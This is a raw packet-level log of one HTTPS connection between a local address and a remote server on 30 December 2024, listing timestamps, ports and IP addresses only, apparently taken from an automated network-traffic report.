Dec 30, 2024 09:18:08.009855986 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.011143923 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.011250019 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.011486053 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.011531115 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.011550903 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.011564016 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.011570930 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.011581898 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.011601925 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.011641979 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.011673927 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.011719942 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.011750937 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.011755943 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.011802912 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.011802912 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.011843920 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.011902094 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.011908054 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.011984110 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.012038946 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.012047052 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.012121916 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.012144089 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.012192965 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.040045977 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.040133953 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.040146112 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.085854053 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.085886955 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.085926056 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.085941076 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.085977077 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.086045027 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.086091042 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.086092949 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.086107016 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.086148024 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.090540886 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.090579987 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.090604067 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.090610027 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.090634108 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.093844891 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.093883991 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.093907118 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.093913078 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.093955040 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.093990088 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.094010115 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.094016075 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.094031096 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.094228983 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.094265938 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.094283104 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.094293118 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.094326019 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.095457077 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.095514059 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.095550060 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.095602036 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.095613956 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.095659018 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.095659971 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.095669985 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.095707893 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.095782042 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.095839977 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.095845938 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.096048117 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.096081018 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.096093893 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.096106052 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.096112013 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.096123934 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.096152067 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.096158981 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.096168041 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.096312046 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.096358061 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.096369028 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.096374989 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.096400976 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.096411943 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.096545935 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.096586943 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.096606016 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.096611977 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.096623898 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.124500990 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.124547958 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.124579906 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.124593019 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.124620914 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.170403004 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.170465946 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.170495033 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.170501947 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.170517921 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.170540094 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.170562029 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.170562029 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.175075054 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.175111055 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.175251961 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.175257921 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.175729036 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.178415060 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.178507090 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.178536892 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.178536892 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.178549051 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.178565025 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.178592920 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.178605080 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.178673983 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.178742886 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.178750038 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.179378986 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.179975033 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.180052042 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.180190086 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.180227041 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.180260897 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.180265903 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.180286884 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.180413008 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.180458069 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.180488110 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.180493116 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.180558920 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.180617094 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.180653095 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.180682898 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.180687904 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.180712938 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.180731058 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.180773973 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.180804968 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.180809975 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.180834055 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.180885077 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.181083918 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.181154966 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.181188107 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.181195974 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.183815002 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.208944082 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.209041119 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.209049940 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.254797935 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.254837990 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.254875898 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.254887104 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.254916906 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.254929066 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.254961967 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.254987955 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.254992008 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.255017996 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.259419918 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.259460926 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.259490013 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.259495974 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.259521961 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.262752056 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.262767076 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.262943029 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.262953043 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.263079882 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.263098955 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.263205051 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.263214111 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.264527082 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.264540911 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.264652014 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.264658928 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.264667034 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.264789104 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.264796019 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.265012026 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.265024900 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.265073061 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.265094995 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.265104055 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.265130997 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.265188932 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.265341997 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.265377045 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.265400887 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.265405893 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.265590906 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.265625954 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.265656948 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.265661955 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.265686989 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.335331917 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.339178085 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.339231968 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.339292049 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.339330912 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.339333057 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.339346886 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.339370966 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.339370966 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.343872070 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.343904972 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.343931913 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.343938112 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.343955040 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.343964100 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.343992949 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.344021082 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.344033003 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.344057083 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.347244978 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.347278118 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.347316980 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.347341061 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.347345114 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.347354889 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.347374916 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.347431898 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.347435951 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.347450972 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.347583055 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.348928928 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.348975897 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.348989010 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.348999977 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.349005938 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.349051952 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.349052906 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.349069118 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.349117994 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.349227905 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.349333048 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.349334955 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.349342108 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.349426985 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.349499941 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.349535942 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.349564075 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.349567890 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.349577904 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.349740028 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.349767923 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.349797010 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.349808931 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.349834919 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.349937916 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.349972963 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.350009918 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.350016117 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.350042105 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.377945900 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.377990961 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.378026009 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.378041029 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.378067017 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.423752069 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.423793077 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.423823118 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.423832893 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.423851013 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.428486109 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.428520918 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.428548098 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.428560019 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.428574085 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.428589106 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.428596020 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.428634882 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.429102898 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.429111958 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.429162025 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.431690931 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.431729078 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.431750059 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.431757927 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.431763887 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.431827068 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.431855917 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.431860924 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.431871891 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.431884050 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.431921959 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.431921959 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.433446884 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.433485031 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.433502913 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.433514118 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.433520079 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.433535099 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.433562040 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.433590889 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.433597088 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.433621883 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.433720112 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.433779001 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.433795929 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.433810949 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.433816910 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.433826923 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.433840990 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.433926105 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.434014082 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.434078932 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.434143066 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.434231043 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.434369087 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.462450981 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.462471962 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.462553978 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.462587118 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.507787943 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.508268118 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.508285999 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.508371115 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.508399963 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.508411884 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.508440971 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.508603096 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.513099909 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.513155937 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.513191938 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.513197899 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.513223886 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.516031027 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.516088963 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.516103029 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.516139030 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.516146898 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.516159058 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.516174078 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.516213894 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.516253948 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.516256094 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.516264915 CET	443	49730	104.21.72.190	192.168.2.4
